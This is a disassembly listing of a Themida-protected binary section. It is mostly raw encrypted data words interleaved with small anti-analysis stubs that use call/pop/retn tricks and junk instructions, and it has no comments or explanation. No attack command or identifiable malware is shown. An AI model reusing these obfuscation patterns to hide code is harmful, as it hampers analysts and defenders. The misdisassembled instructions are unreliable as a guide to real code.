		dd 6E9ABBEh, 71000000h,	3344F57Ch, 905B5FDDh, 6AFA8Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 44C35040h
		dd 0B50B4DCDh, 912BD91h, 130DFD85h, 12E806h, 0A0360000h
		dd 7CBD2366h, 0FB761E01h, 1F2A5721h, 27C57BD0h,	1DB99589h
		dd 6A5F0613h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0F27852BFh, 66072FADh, 9ED99BFh
		dd 130F01BDh, 8D7FB706h, 17E29B85h, 359D8B06h, 83061323h
		dd 11E905C0h, 0E3000000h, 0BC3119FEh, 0CEB7629Dh, 4A4DB230h
		dd 7DD362A1h, 60525090h, 0B1D18B66h, 310F61F2h,	10860Fh
		dd 0AE80000h, 6B000000h, 7AE6AB16h, 753A6BB9h, 585A5F41h
		dd 13E950h, 0E41F0000h,	56392E53h, 53E2F800h, 0CFD25E2Ch
		dd 5C1E6734h, 6A9065h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0EEC8E7C3h, 0B5EC866Eh, 2B5B1ECCh
		dd 130B45BDh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0BE05C357h,	0D1544DECh
		dd 6A006AD7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0E0ADC357h, 0DCBFBCDFh, 0E96D5776h
		dd 9, 0F23C51ADh, 0B0CE3709h, 0F195FF64h, 0B7061307h, 6A8D8D9Eh
		dd 6A0616A3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 24D7C353h, 0BDFE9F41h,	0BAE847E9h
		dd 23059501h, 0D1FF0613h, 8CDBD89h, 0BD830613h,	613173Dh
		dd 7E850F01h, 1000000h,	1329A5B5h, 8B026A06h, 1309D9BDh
		dd 0BABB6606h, 10E8909Ah, 0EE000000h, 5806F0CFh, 2B6AEAFAh
		dd 0F21C25F4h, 50D2A429h, 0F5B5752h, 0AE831h, 0E2610000h
		dd 66C8EF22h, 2651B75Bh, 5F585A5Bh, 8B0F9050h, 0Ch, 68B0Fh
		dd 9D8B0000h, 6131D55h,	1E9595FFh, 6A0613h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 61CFC5C3h
		dd 0BD8D6F44h, 0F3FE936h, 0E80000h, 5D000000h, 0E2A5ED81h
		dd 0B70F0617h, 299589FEh, 8B061309h, 130BE19Dh,	0D59D8B06h
		dd 8D06130Fh, 168F5E85h, 51BD8906h, 9006131Bh, 5050DF8Bh
		dd 11E852h, 0A2340000h,	68093D90h, 56D0046Dh, 0FF0E3259h
		dd 5BF2A20Eh, 11E8310Fh, 0DF000000h, 387D76C8h,	9A0B1CACh
		dd 0B0CFAE30h, 189AA37Fh, 5A5B2BB7h, 6A9058h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0F0DDFBC3h
		dd 0F2BC1064h, 0FF640189h, 35h,	8964F800h, 25h,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0E84DD8A6h, 0E60F5A00h, 6840F16h, 89000000h,	132B919Dh
		dd 0D985FF06h, 50061316h, 57F38166h, 0FF6A5BC2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 80C35646h, 9217B1C3h
		dd 6890Fh, 0B5890000h, 6131FC9h, 0B01B5FFh, 7E90613h, 0F3000000h
		dd 0B314B01Eh, 95FF9163h, 61331ADh, 12BE9h, 0DFB70F00h
		dd 0B0DEB70Fh, 3DBD8B00h, 0E6061300h, 4870F70h,	66000000h
		dd 0E46A9ABBh, 870F6071h, 6, 2119B58Bh,	85890613h, 6131501h
		dd 0F613C61h, 0F383h, 0D9B50900h, 0F061329h, 6BAC8B6h
		dd 0F000000h, 0C18BD9B7h, 0E904E8C1h, 9, 65FCC0C0h, 5766CC3Dh
		dd 0FBBF0F99h, 0BFE2F766h, 512B664Ah, 0AE9C82Bh, 0F8000000h
		dd 7804201h, 0D13A3F20h, 89D18BDDh, 130EF9BDh, 0A6E906h
		dd 0BD8B0000h, 61311E9h, 4858BFCh, 66000000h, 0FE79EB81h
		dd 8B07C083h, 131935BDh, 0C08306h, 3850Fh, 0BF0F0000h
		dd 0FD03BF9h, 1A83h, 890F6000h,	1, 0E1BD8BF8h, 61061306h
		dd 63E9h, 19858900h, 8B06131Ch,	0FFFFFF8Dh, 219529FFh
		dd 8906130Fh, 131AB5B5h, 1E18306h, 42840Fh, 0E8600000h
		dd 14h,	0D8141773h, 0AC600D7Bh,	0A6004424h, 10A70EEAh
		dd 1CAABD99h, 830Fh, 8B5F0000h,	0A58361D7h, 0FFFFFFFFh
		dd 0F5B529FEh, 89061331h, 495h,	819D0B00h, 0E9061331h
		dd 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6175FACh]
		pusha
		movzx	eax, bx
		push	esi
		mov	edx, [ebp+6132BC1h]
		pop	edx
		popa
		push	0
		push	0
		push	ebp
		call	sub_5CA7D8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA7D8	proc near		; CODE XREF: Themida_:005CA7D0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5CA7D8	endp

; ---------------------------------------------------------------------------
		dd 0C3E922Ch, 0C7DC6EE4h, 0DA995FFh, 6A0613h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0AF12CCC3h
		dd 0CE9A3h, 0FC980000h,	0BD90229Dh, 0D36315DBh,	0BE85CCCh
		dd 70000000h, 16A764D5h, 964828CFh, 0F525068h, 85h, 0B95B5B00h
		dd 1032h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	8AC35141h, 0D8B70F60h, 6AFCE183h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6646C352h
		dd 0BD8B7779h, 6130A45h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0E59589EFh, 0B8061319h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5CA8BF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA8BF	proc near		; CODE XREF: Themida_:005CA8B7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5CA8BF	endp

; ---------------------------------------------------------------------------
		db 9Fh
		dd 7DFFD3E4h, 2805707h,	0BA5F56E2h, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6130571h]


loc_5CA8E6:				; CODE XREF: Themida_:005CA8F0j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5CA8E6
		push	0
		push	ebx
		call	sub_5CA8FD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA8FD	proc near		; CODE XREF: Themida_:005CA8F5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5CA8FD	endp

; ---------------------------------------------------------------------------
		mov	esp, [esi]
		or	eax, 859D8B5Dh
		add	[ebx], edx
		push	es
		push	0
		push	eax
		call	sub_5CA922
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA922	proc near		; CODE XREF: Themida_:005CA91Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5CA922	endp

; ---------------------------------------------------------------------------
		cld
		push	7017AF46h
		mov	word ptr [eax+782ED0BBh], fs
		add	large ds:88h, cl
		mov	[ebp+6130B2Dh],	esi
		mov	edx, [ebp+6131BBDh]
		push	0
		push	esi
		call	sub_5CA95B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA95B	proc near		; CODE XREF: Themida_:005CA953p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5CA95B	endp

; ---------------------------------------------------------------------------
		db 65h
; ---------------------------------------------------------------------------
		cmp	ch, [edi-74294DC5h]
		mov	ebp, 61306E1h
		mov	ecx, [ebp+61318DDh]
		push	0
		push	ecx
		call	sub_5CA988
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA988	proc near		; CODE XREF: Themida_:005CA980p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5CA988	endp

; ---------------------------------------------------------------------------
		push	edi
		xor	ds:8B26D940h, ah
		mov	ebp, 6130D91h
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		push	0
		push	ecx
		call	sub_5CA9C1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA9C1	proc near		; CODE XREF: Themida_:005CA9B9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5CA9C1	endp

; ---------------------------------------------------------------------------
		db 0BAh, 16h, 64h
; ---------------------------------------------------------------------------
		mov	bx, 0CECh
		pusha
		mov	[ebp+6131359h],	eax
		mov	esi, [ebp+61322CDh]
		popa
		push	0
		push	ecx
		call	sub_5CA9F1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA9F1	proc near		; CODE XREF: Themida_:005CA9E9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CA9F1	endp

; ---------------------------------------------------------------------------
		db 1Ah,	61h, 29h
		dd 0E5EFF549h, 83B75FFFh, 131D1DBDh, 840F0006h,	1Eh, 0B8h
		dd 0DF816600h, 8D8D0DB0h, 6134F8Dh, 1059BD89h, 0E1FF0613h
		dd 17059589h, 0BD830613h, 6133055h, 0A8840F00h,	83000004h
		dd 133055BDh, 840F0106h, 4B6h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0CBC35141h,	7DF52700h, 25FBEA75h
		dd 3055BD83h, 0F030613h, 44F86h, 1DBB6600h, 6A6049h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 10C97BC3h, 0EAB33A2Bh, 80D98C66h, 0EF8104E1h, 2C332A0Eh
		dd 840FC90Ah, 1C2h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0C7C35545h, 0C78E2C23h, 2E645665h, 0B8EB8166h
		dd 0B9858B32h, 6A06132Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 4334C355h, 10E9h, 0D8341200h
		dd 2B7F681Bh, 4766FC6Bh, 9DE1649Fh, 19D8B75h, 33061325h
		dd 1305B985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 2A8AA758h, 5250C454h, 0CE9h, 105A1300h
		dd 0F3795A92h, 0B88AAD2Fh, 4895BD5h, 52006A24h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 6B8C89C7h
		dd 6A1E794Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0C5AE8610h, 661538FCh, 89DFD381h
		dd 4DCF8166h, 4E89Dh, 3FF0000h,	0BB66001Fh, 0F500C50h
		dd 28Dh, 8B5B5700h, 0E8042444h,	8, 0B82E1046h, 2B6499B9h
		dd 5BFA8B57h, 0E8008B5Fh, 0Eh, 659CEDD9h, 7ACC519Dh, 0AF49A07h
		dd 10B7A3AAh, 2444895Fh, 0F525004h, 8E931h, 53160000h
		dd 0CC1CDF00h, 585AAF57h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 41683D29h
		dd 0BD09EAFBh, 61319D1h, 6E9h, 178D700h, 5195CEC2h, 0D4EF8166h
		dd 95FF5BC7h, 6130A3Dh,	0C4548589h, 0EF800616h,	1F1E96Dh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 4F930CC3h, 0A4AABB91h, 858B3737h,	616C44Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 5FC35545h
		dd 99CD587Fh, 0CDC4D5D0h, 53C381CDh, 5000F35Fh,	0FE9h
		dd 0FD245300h, 9A9A1520h, 85007989h, 0B4A89935h, 1800C75Bh
		dd 31000000h, 1328C18Dh, 50B58B06h, 660616C4h, 8BA208BBh
		dd 132A5585h, 6A068906h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 2B74C350h, 0FBB048Eh
		dd 381h, 0FAB70F00h, 8B0Fh, 858B0000h, 6132BB9h, 1991BD09h
		dd 0BD230613h, 61321FDh, 81044689h, 25A8E8F7h, 0FDB79622h
		dd 6A9650h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 660FDAC3h, 0FF682420h, 16C44CB5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 142982FBh, 0A7AA96BAh, 0C2C3E068h, 9856BB4Fh, 34811530h
		dd 0DDC01F24h, 57006A4Fh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 14398CF7h, 7A7E30CAh
		dd 6E9DBE1h, 0D7000000h, 0DBD9AF48h, 54858D31h,	6A0616C4h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 7AA6C355h, 3622D379h, 6660904Fh, 0E8D241B8h
		dd 0Eh,	5BF3E5BBh, 4328B0C2h, 4F69D768h, 52502197h, 585A310Fh
		dd 6050615Bh, 0A3CEB850h, 615E35F8h, 5E990h, 93550000h
		dd 89A7D2E6h, 1314A59Dh, 3D95FF06h, 6A06130Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0F155C350h, 9B6A7Ah,	61A18357h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 76C35242h, 0F73B12C0h, 0D98B6616h
		dd 0D3FBBB66h, 305585C7h, 30613h, 0BD2B0000h, 6132821h
		dd 0C454BD83h, 0F000616h, 3F84h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0AFFAB7FEh
		dd 0F605A7Bh, 2956CABFh, 1323E195h, 0E9615906h,	27h, 0DA5BD8Bh
		dd 0B5310613h, 6130F01h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 9B3C352h, 13117595h
		dd 0F3816606h, 816610A4h, 0E948E9CFh, 12h, 7182F3D6h, 0D14E47DFh
		dd 0A53D5409h, 5C4B77FDh, 0BD834E00h, 6133055h,	1850F03h
		dd 6A000005h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0B57CC350h, 0C454BD83h, 0F000616h
		dd 4D784h, 0FE800h, 0EE450000h,	262ACC21h, 0FAD371CEh
		dd 0DF0735D3h, 0F985311Dh, 5F061331h, 0FFF88B66h, 16C454B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 8248D4B4h, 94DDF7A8h, 95FF3118h,	6130969h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 23C35646h
		dd 65C78E2Ch, 9E956h, 0F030000h, 1047A1E9h, 52369AF9h
		dd 5BF98B66h, 0C448B58Bh, 6A0616h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0BFA507C3h, 10E967h
		dd 0D5780000h, 7F1994DCh, 0FE9B3852h, 72D65A81h, 0F98B795Ch
		dd 106C7h, 6E80001h, 0C6000000h, 650F2F65h, 0B59D892Eh
		dd 5B06130Bh, 9E8h, 256D5B00h, 0A661A1BBh, 0B70F3779h
		dd 57965BFBh, 505FDD8Ah, 2DBB6650h, 66965FBFh, 0FFC6B8BFh
		dd 16C454B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 1D85018Eh, 66061306h, 2F12EB81h
		dd 322995FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 1C2404C3h, 29E42DC3h, 8974C436h
		dd 1311D9BDh, 48B58B06h, 6A0616C4h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BDCC352h
		dd 13063185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 38B64462h, 0C48689BFh, 8B000000h
		dd 131BBD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 972EC9C1h, 5347AA36h, 0C2835823h
		dd 13E904h, 0DAF30000h,	724DEA2Fh, 0E9871161h, 0AA6FCBE9h
		dd 85D9A96h, 2050891Ah,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 71C35242h, 8B487C0Eh,	0B58B60D8h, 6130DD1h
		dd 8FF897B8h, 858D6131h, 616D8E3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 8EC35646h, 3CDED0BCh, 5E98BFD1h
		dd 86892043h, 0B8h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h
		dd 0B1C35040h, 0EF50BC0Eh, 0A35BD89h, 8D890613h, 6130E9Dh
		dd 0BB66006Ah, 816607A1h, 0FF7FD1C3h, 16C454B5h, 68B0F06h
		dd 8B000000h, 13197DBDh, 0FBBF0F06h, 1E9595FFh,	0CE90613h
		dd 0DD000000h, 0AF72DB44h, 0D6C2B983h, 96EFA82Ah, 10E8h
		dd 3668000h, 9B8ACE71h,	64696A60h, 0D219113Bh, 9EBB6630h
		dd 0E8505FE2h, 0Fh, 5033E961h, 16B62A7Ch, 0EDAC77C8h, 0F04FC51h
		dd 280h, 5FD88B00h, 0BE666096h,	0B8663AB1h, 0FF6190A5h
		dd 16C454B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0FF7040C6h, 317D1D30h, 1329DD95h
		dd 0DA8B6606h, 214595FFh, 8B660613h, 49BD8BDFh,	8306131Ah
		dd 131495BDh, 840F0006h, 2Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 3C35343h, 4CB9E559h, 0BF50A790h
		dd 6425FB47h, 8A243489h, 54B5FFFDh, 6A0616C4h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 2949C355h, 13248D85h, 0AD95FF06h, 0E9061305h, 11h, 2625A6A5h
		dd 25E91BF7h, 890E7BFh,	0C168BDF7h, 54B5FF84h, 6A0616C4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 1D86C357h, 9D8989E3h, 6131709h, 120995FFh
		dd 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 4C561DC3h, 11BD8327h, 2061305h, 8E840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0FE8D16C3h, 37B9FE83h, 0EE87Eh, 93FD0000h
		dd 0F927B4CEh, 0A9FD0FB7h, 0CFE07DEEh, 68D0Fh, 890F0000h
		dd 0
; ---------------------------------------------------------------------------
		pop	edi
		mov	eax, [ebp+6130F55h]
		push	0
		push	esi
		call	sub_5CB402
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB402	proc near		; CODE XREF: Themida_:005CB3FAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5CB402	endp

; ---------------------------------------------------------------------------
		dw 171Fh
		dd 0D586D9E0h, 0D6F38166h, 0C60Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 99C35646h, 1E5185C7h, 613h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0FBC66C3h, 687h, 58D8900h, 0BF06131Eh, 29294FB1h
		dd 0FFF1C9E9h, 9D8B60FFh, 61319DDh, 5BDBD89h, 8B610613h
		dd 50006AC1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 145E1664h, 0A9858D71h, 0E806131Eh, 10h
		dd 792C8457h, 0A8F978Dh, 193DA073h, 0FCB51C76h,	0C030BF66h
		dd 61BB905Bh, 504F455Bh, 61DE8B60h, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 727E2C4h, 5DC38C61h
		dd 0AAF38177h, 802A1227h, 6AA3C7h, 20859D89h, 6A0613h
		dd 858DFC8Ah, 617F362h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0E9C35747h, 7743C5CFh, 0DE841h, 61560000h
		dd 8AE8F74Dh, 4B634D95h, 5BD878D8h, 23359D8Bh, 0C0830613h
		dd 0E8806005h, 9061F5CAh, 6583BB50h, 66905EA1h,	6A2E16BBh
		dd 998D8900h, 6A06130Ah, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0CE97F6F4h, 0F195FFD0h
		dd 23061307h, 1318D5BDh, 6A8D8D06h, 890616A3h, 1323219Dh
		dd 0E8D1FF06h, 6, 0D20EEF58h, 0BB66205Fh, 835B2793h, 13173DBDh
		dd 850F0106h, 68h, 9044BF66h, 6A026Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A2CD83C3h
		dd 8087022Fh, 8B90B1D2h, 13308DBDh, 52509006h, 585A310Fh
		dd 12E85050h, 0B6000000h, 58CEAF47h, 19B67732h,	31E521F9h
		dd 0FED8A50h, 5B616033h, 9529905Bh, 613140Dh, 1E9595FFh
		dd 9D890613h, 61318F9h,	0DEAE9h, 0E800h, 815D0000h, 17F36CEDh
		dd 0D8BF0F06h, 8DFB8B66h, 168F5E85h, 6840F06h, 33000000h
		dd 130DD9BDh, 0BB669006h, 6050AEBAh, 0C052BB66h, 8E0F51h
		dd 58000000h, 0CE99061h, 97000000h, 126C7F9h, 3B035060h
		dd 6448E3A6h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0A7D9F3C3h, 89D4C335h
		dd 6615D5E3h, 34ADDB81h, 258964h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 759AC351h, 0FFE31BA1h, 1316D985h, 7E806h, 20870000h
		dd 0E68748BFh, 58B0F1Eh, 0BB000000h, 2C678D6h, 6AF98A5Bh
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 50AD6D73h, 578BA8D6h, 0FFF95964h, 132101B5h
		dd 0DABF0F06h, 31AD95FFh, 50E90613h, 0E8000001h, 9, 9716FF66h
		dd 5FC523EEh, 0EF81667Dh, 0BB5B18FAh, 5EE3E36Fh, 0DE800B0h
		dd 0DF000000h, 12969294h, 36DF1AA1h, 2CA5E262h,	895FDE8Ah
		dd 1312DDBDh, 8B70E606h, 131CF5BDh, 8B71E406h, 130B759Dh
		dd 0F613C06h, 10283h, 0DDBD2300h, 2B061301h, 130C559Dh
		dd 0C8B60F06h, 0FE8h, 635D5700h, 6D5F351Bh, 4F19C4E1h
		dd 15C77E47h, 5BDE8B51h, 6BA5Fh, 8B660000h, 89C18BFEh
		dd 131571B5h, 4E8C106h,	0E2F766FCh, 2B3D8529h, 8D290613h
		dd 6132051h, 0BD8BC82Bh, 61309C5h, 8589D18Bh, 6131B01h
		dd 0A2E9h, 18D0F00h, 0F8000000h, 4C44858Bh, 0E7815F4Ch
		dd 1E747A1Dh, 5207C083h, 9B58956h, 5B06130Ch, 0C0835Fh
		dd 1985BD8Bh, 0D03B0613h, 0E830Fh, 95890000h, 61314E1h
		dd 66E9h, 0FA8B6600h, 0FFFF8D8Bh, 13E8FFFFh, 0B9000000h
		dd 0C351CA17h, 9A9E5FD0h, 6FE1C6D5h, 0C0F8FE60h, 81663784h
		dd 5F468DC7h, 0F01E183h, 3684h,	13E900h, 2D370000h, 72370DB0h
		dd 5CDB7EF3h, 0BF401B70h, 800A2AA8h, 0FFA5837Fh, 0FEFFFFFFh
		dd 0D98531h, 95890613h,	5F4C4C44h, 3069BD0Bh, 0E90613h
		dd 8D000000h, 176FDEB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0BBA718FAh, 3004080Eh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 667526C3h, 860FFB8Bh, 5, 38EF8166h, 0D7BB6604h
		dd 0A995FFADh, 6A06130Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 9A08C352h, 8A2B001Fh
		dd 3AF38166h, 0FE9B943h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 7B3294C3h, 815F15FFh
		dd 4447F8E3h, 0FCE1836Bh, 6800F50h, 31000000h, 130C31BDh
		dd 6AFC5F06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 4C8C356h, 20A38DCDh, 0C02BF57Bh
		dd 0BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0C233AD66h, 0D003E8D1h, 7504E983h
		dd 57006AF4h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0A1962311h, 9A86F476h, 8A0F07ADh, 6, 1D319D2Bh
		dd 9D890613h, 61323B1h,	880Dh, 0CD858900h, 9061301h, 13063595h
		dd 0BD958B06h, 6A06131Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 76B9C350h, 5E9C3FCh
		dd 0B7000000h, 3D9EF83Ch, 0A519D8Bh, 8D8B0613h,	61318DDh
		dd 9839CF81h, 8B5047E3h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 15h,	50C35343h, 0DE9BCh, 56200000h, 0DF80AAE9h, 818CFF9Ch
		dd 8934DED8h, 132A1995h, 0A1B58906h, 83061319h,	131D1DBDh
		dd 840F0006h, 68h, 0DCEB8166h, 0B81Bh, 6A0000h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 8611FEC3h, 600E2DDDh, 0D9BD8BA7h, 8D061309h,	134F8D8Dh
		dd 0FFD98B06h, 50006AE1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 830F47B5h, 8, 28C0Fh
		dd 3B30000h, 3055BD83h,	0F000613h, 3C484h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 615F19B4h, 0D60E2BF4h, 0A59D8B0Eh, 83061330h, 133055BDh
		dd 840F0106h, 3A8h, 3D1AFBBh, 55BD834Dh, 3061330h, 360860Fh
		dd 840F0000h, 6, 14659D8Bh, 6A600613h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 662DC351h
		dd 0BD31D98Ch, 6130FF9h, 6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 912FC356h
		dd 32649A57h, 40581C2Bh, 0DD953360h, 8B061324h,	1307C1BDh
		dd 0C90A6106h, 116840Fh, 0F3800000h, 72DBF16h, 858B0610h
		dd 6132BB9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	69C35040h, 911706C9h, 8368AFh, 9D8B51AFh, 6131DF5h
		dd 0B985335Fh, 6A061305h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 8771C352h, 0C6404C89h
		dd 6E890E6h, 82000000h,	0D8830087h
